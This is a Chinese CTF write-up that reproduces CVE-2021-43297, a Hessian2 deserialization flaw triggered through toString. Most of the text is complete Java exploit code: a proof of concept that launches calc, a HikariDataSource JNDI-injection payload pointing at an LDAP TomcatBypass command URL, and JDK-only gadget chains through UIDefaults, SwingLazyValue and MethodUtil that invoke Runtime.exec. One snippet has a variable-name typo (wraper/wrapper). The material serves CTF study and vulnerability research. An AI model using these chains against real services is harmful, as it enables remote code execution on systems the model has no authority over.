在最近的几次 CTF 中,连续两次遇到了与 CVE-2021-43297 Hessian2 反序列化链相关的题目,分别是网鼎杯青龙组的一题和 TCTF 的一题,简单来复现总结一下
CVE-2021-43297
查看修复 commit,主要修改了几处字符串与 object 拼接的问题。很明显,这里的拼接中会触发 toString 调用。这个洞跟之前的 Hessian2 反序列化相比,又向前走了一步,从需要 hashCode/equals/compareTo 等入口,变成了可以用 toString 触发后续利用,普适性变得更广
具体看漏洞的内容,触发点是 Hessian 抛出异常时调用的 com.caucho.hessian.io.Hessian2Input#expect
函数,为了调用该函数,这里选择同一个类中的 readString 函数
public String readString() throws IOException {
int tag = this.read();
int ch;
switch (tag) {
case 0:
case 1:
case 2:
// ...
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);
while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}
return this._sbuf.toString();
case 32:
// ...
case 126:
case 127:
default:
throw this.expect("string", tag);
case 48:
case 49:
case 50:
// ...
}
}
可以看到,当 tag 大于 31 的时候,就会进入到 this.expect 函数
而想要进入到 readString 方法,就要在 Hessian 反序列化触发时,在 readObject 函数中,保证走到 readObjectDefinition 的分支,该函数会调用 readString 函数
public Object readObject() throws IOException {
int tag = this._offset < this._length ? this._buffer[this._offset++] & 255 : this.read();
int ref;
Deserializer reader;
Deserializer reader;
String type;
int length;
ObjectDefinition def;
int i;
byte[] buffer;
switch (tag) {
case 0:
case 1:
case 2:
case 3:
// ...
case 67:
this.readObjectDefinition((Class)null);
return this.readObject();
case 68:
// ...
}
}
private void readObjectDefinition(Class<?> cl) throws IOException {
String type = this.readString();
int len = this.readInt();
SerializerFactory factory = this.findSerializerFactory();
Deserializer reader = factory.getObjectDeserializer(type, (Class)null);
Object[] fields = reader.createFields(len);
String[] fieldNames = new String[len];
for(int i = 0; i < len; ++i) {
String name = this.readString();
fields[i] = reader.createField(name);
fieldNames[i] = name;
}
ObjectDefinition def = new ObjectDefinition(type, reader, fields, fieldNames);
this._classDefs.add(def);
}
注意到 readString 方法开头调用的 this.read() 方法会执行 offset++,因此,一个最终走到异常处理函数的序列化数据包,我们主要保证它第一个 byte 为 67,能够走到 readObjectDefinition 方法,第二个 byte 能走到 case 32:
后的 default:
分支
在 seebug 上的文章中采用的方法是重写 Hessian2Output 函数,在构造数据包时,在开头添加一个 67 的 byte,其实这里可以直接构造,在 Hessian2Output 返回的 byte 数组前加一个 67 就可以
Hessian 反序列化还有一个很有意思的点是,它在反序列化时是自己不断 newInstance 去把对象创建回去的,所以可以反序列化未实现 Serializable 接口的类。只不过在序列化时有个客户端检验,直接 oo.getSerializerFactory().setAllowNonSerializable(true)
就可以绕了
下面是一段触发 toString 的 poc
package com.cve.hessian;
import com.caucho.hessian.io.*;
import java.io.*;
public class Test {
public static void main(final String[] args) throws Exception {
Dangerous dangerous = new Dangerous();
byte[] result;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
// 运行反序列化未实现 Serializable 接口的类
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(dangerous);
oo.flush();
result = bos.toByteArray();
// 构造数据包
byte[] wraper = new byte[result.length+1];
wrapper[0] = 67;
System.arraycopy(result, 0, wrapper, 1, result.length);
Hessian2Input hi = new Hessian2Input(new ByteArrayInputStream(wrapper));
hi.readObject();
}
}
class Dangerous {
public Dangerous(){}
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e){
System.out.println(e.getMessage());
}
return "Call exec.";
}
}
因为 Hessian2 将很多类添加到黑名单中了,常见的 Rome、XBean 等 toString 后利用没法使用,所以思考后续利用就变成了一件有意思的事,开头提到了两道 CTF 题也是抓住这一点来考察
网鼎杯 BadBean
网鼎杯青龙组有一道题目考察了这个漏洞,题目给出了一个 MyBean 的类,这个类重写了 toString 方法,可以迭代调用某个类中的所有方法
public String toString() {
StringBuffer sb = new StringBuffer(128);
try {
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
Iterator flag = propertyDescriptors.iterator();
while(flag.hasNext()) {
PropertyDescriptor propertyDescriptor = (PropertyDescriptor)flag.next();
String propertyName = propertyDescriptor.getName();
Method getter = propertyDescriptor.getReadMethod();
Object value = getter.invoke(this.obj, new Object[0]);
}
} catch (Exception e) {
Class<? extends Object> clazz = this.obj.getClass();
String errorMessage = e.getMessage();
sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage));
}
return sb.toString();
}
注意到依赖里有一个 HikariCP
考虑到 Hikari 里找一个利用,这里找到的是 HikariDataSource,当调用他的 getConnection 方法时,最终会调用到 PoolBase 类的 initializeDataSource,lookup 触发 jndi 注入,注意 jdk 版本较高,在本题环境中,可以直接打 Tomcat Bypass
exp:
package com.ctf.badbean.main;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.SerializerFactory;
import com.ctf.badbean.bean.MyBean;
import com.zaxxer.hikari.HikariDataSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class Exp
{
public static void main(String[] args) throws Exception {
HikariDataSource ds = new HikariDataSource();
ds.setDataSourceJNDI("ldap://127.0.0.1:1389/TomcatBypass/Command/calc");
MyBean bean = new MyBean("crumbledwall", "1", ds, HikariDataSource.class);
byte[] result;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
SerializerFactory factory = new SerializerFactory();
factory.setAllowNonSerializable(true);
// 题目给出的依赖中,无法直接设置 Serializable,需要通过反射处理
Class abstractFactory = oo.getClass().getSuperclass();
Field _factory = abstractFactory.getDeclaredField("_serializerFactory");
_factory.setAccessible(true);
_factory.set(oo, factory);
oo.writeObject(bean);
oo.flush();
result = bos.toByteArray();
byte[] wrapper = new byte[result.length+1];
wrapper[0] = 67;
System.arraycopy(result, 0, wrapper, 1, result.length);
String Payload = Base64.getEncoder().encodeToString(wrapper);
System.out.println(Payload);
}
}
TCTF Hessian-OnlyJDK
TCTF 中,这个漏洞又被进一步探讨,题目没有添加其他依赖,也就是说,我们需要找一个能在 jdk 环境中使用的 toString 后利用
题目给出的 hint 中,有一个 toString 的利用链,是 CVE-2021-21346 的后半截,调用链是这样的
javax.naming.ldap.Rdn$RdnEntry.compareTo
com.sun.org.apache.xpath.internal.objects.XString.equal
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()
但是这里有一个问题,Hessian 的反序列化操作是自己实现的,通过 MapDeserializer 的 readMap 方法 newInstance 来创建对应 Object 的实例,这里的 MultiUIDefaults 不是以一个 public 类,无法在此处被创建,所以我们需要找一个 public 的类,来完成 toString 到 get 这一段
public Object readMap(AbstractHessianInput in) throws IOException {
Object map;
if (this._type == null) {
map = new HashMap();
} else if (this._type.equals(Map.class)) {
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
map = (Map)this._ctor.newInstance(); // 创建新实例
} catch (Exception var4) {
throw new IOExceptionWrapper(var4);
}
}
in.addRef(map);
while(!in.isEnd()) {
((Map)map).put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
这里通过 tabby 去找,写一段 Cypher 的查询语句,将 createValue 作为 sink 点,查询 toString 到 createValue 的可能通路,最终找到了 javax.activation.MimeTypeParameterList 这个类,刚好满足我们的需求(看有的 wp 用的是 sun.security.pkcs.PKCS9Attribute 这个类,下面这段查询也是能找到这个类的)
match (source:Method {NAME:"toString"})
match (sink:Method {IS_SINK:false, NAME:"createValue"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 13) yield path
return * LIMIT 20
这样我们完成了从 hessian 反序列化到 createValue 的链,最终在 createValue 中,需要找一个类,调用其静态方法,能完成利用
题目使用的 jdk 是高版本的 jdk,无法直接 jndi 注入,在没有 tomcat 依赖的情况下,也没法方便的 bypass,所以 javax.naming.InitialContext.doLookup 这部分走不通,同时题目 patch 了writeBytesToFilename 这个类,ysomap 里采用的方法也走不通
这里用了预期解里的 MethodUtil 类,通过其 invoke 方法,调用 exec,完成整条利用链
package com.ctf.hessian.onlyJdk;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import com.caucho.hessian.io.*;
import java.util.Base64;
import javax.activation.MimeTypeParameterList;
import java.io.*;
import javax.swing.UIDefaults;
import sun.swing.SwingLazyValue;
public class Exp {
public static void main(final String[] args) throws Exception {
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil")
.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new
SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke",
new Object[]{
invokeMethod,
new Object(),
new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}
});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("crumbledwall", slz);
MimeTypeParameterList ml = new MimeTypeParameterList();
Field ps = ml.getClass().getDeclaredField("parameters");
ps.setAccessible(true);
ps.set(ml, uiDefaults);
byte[] result;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(ml);
oo.flush();
result = bos.toByteArray();
byte[] wrapper = new byte[result.length + 1];
wrapper[0] = 67;
System.arraycopy(result, 0, wrapper, 1, result.length);
String Payload = Base64.getEncoder().encodeToString(wrapper);
System.out.println(Payload);
}
}
此外,0ops 一个师傅给出的解也很有意思,他没有用这个 CVE,而是直接找的 Hessian 正常反序列化的 hashcode 触发点,直接接上了 UIDefaults 后续的利用链
他的 exp 是 kotlin 写的,这里尝试实现了一个 Java 版
package com.ctf.hessian.onlyJdk;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import com.caucho.hessian.io.*;
import java.io.*;
import java.util.Base64;
import java.util.HashMap;
import javax.swing.UIDefaults;
import sun.swing.SwingLazyValue;
public class Exp {
public static void main(final String[] args) throws Exception {
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil")
.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new
SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke",
new Object[]{
invokeMethod,
new Object(),
new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}
});
UIDefaults uiDefaults1 = new UIDefaults();
uiDefaults1.put("_", slz);
UIDefaults uiDefaults2 = new UIDefaults();
uiDefaults2.put("_", slz);
HashMap<Object, Object> s = new HashMap<>();
Field f = s.getClass().getDeclaredField("size");
f.setAccessible(true);
f.set(s, 2);
Class<?> nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, uiDefaults1, null, null));
Array.set(tbl, 1, nodeCons.newInstance(0, uiDefaults2, null, null));
Field tf = s.getClass().getDeclaredField("table");
tf.setAccessible(true);
tf.set(s, tbl);
byte[] result;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(s);
oo.flush();
result = bos.toByteArray();
String Payload = Base64.getEncoder().encodeToString(result);
System.out.println(Payload);
}
}